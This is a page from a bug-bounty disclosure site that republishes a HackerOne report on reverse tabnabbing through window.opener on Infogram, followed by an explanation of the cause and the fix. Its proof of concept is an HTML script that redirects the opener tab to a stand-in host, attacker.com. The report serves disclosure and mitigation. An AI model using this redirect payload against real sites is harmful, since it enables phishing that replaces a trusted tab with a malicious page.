Skip to content
Open redirect Disclosed report Beginner

Tabnabbing via window.opener

A link opened in a new tab could access the original page through window.opener and redirect it to an attacker-controlled site. An attacker could use this to replace the original tab with a malicious page.

mr_r3boot Follow

Originally disclosed on HackerOne

  • Triaged in 6 days
  • Fixed in 7 days
  • Disclosed after 18 days

Hi Team, i would like to report tab nabbing issue on your domain.

#Details:

When you open a link in a new tab ( target="_blank" ), the page that opens in a new tab can access the initial tab and change it's location using the window.opener property.

#PoC:

1.Navigate to https://infogram.com/app/[userproject]. 2. Provide any url as evil url. http://test.com/test.html test.html contains following code.

<html>
<script>
if (window.opener) window.opener.parent.location.replace('http://attacker.com');
if (window.parent != window) window.parent.location.replace('http://attacker.com');
</script>
blah
</html>

Also check Open link in new tab

The javascript code that does all the magic:

window.opener.location.replace(newURL); my link will open in new tab and original tab will be replaced with attacker malicious link.

#Fix:

In order to mitigate this issue, developers are encouraged to use rel="nofollow noopener noreferrer" as follows:


<a target="_blank" class="btn external-url" href="https://evil.com" rel="nofollow noopener noreferrer"><i class="fa fa-external-link"></i>
</a>

Let me know if u have problems in reproducing the issue.

Regards, Mr.R3boot.

Attachments

TabNabbing.mp4 From the original on HackerOne

The original report as published on HackerOne, by mr_r3boot. Images and videos are our own copies; raw HTML is shown as text. View it on HackerOne.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

Likely the application used target="_blank" on links without adding rel="noopener" or rel="noreferrer", allowing the opened page to access window.opener.

Impact

An attacker could redirect the original tab to a malicious site, but this requires the victim to open a crafted link in a new tab.

What the attacker needed

Victim opens a crafted link in a new tab

The fix

Developers should add rel="noopener noreferrer" to links that use target="_blank".

How it was found

  1. Navigate to the application project page.
  2. Provide a URL to a page containing JavaScript that uses window.opener to redirect the original tab.
  3. Open the link in a new tab.
  4. The original tab is replaced with the attacker's page.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

When a link opens in a new tab, the new page can access the tab it came from and change its location. This is called tabnabbing.

What is Open redirect?

A trusted site forwards users to any address an attacker picks; rarely paid alone, often the missing link in a chain.

More by mr_r3boot

View all

12 more disclosed reports, best first.

More from Infogram

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Open redirect

The lesson behind this report.

A trusted site forwards users to any address an attacker picks; rarely paid alone, often the missing link in a chain.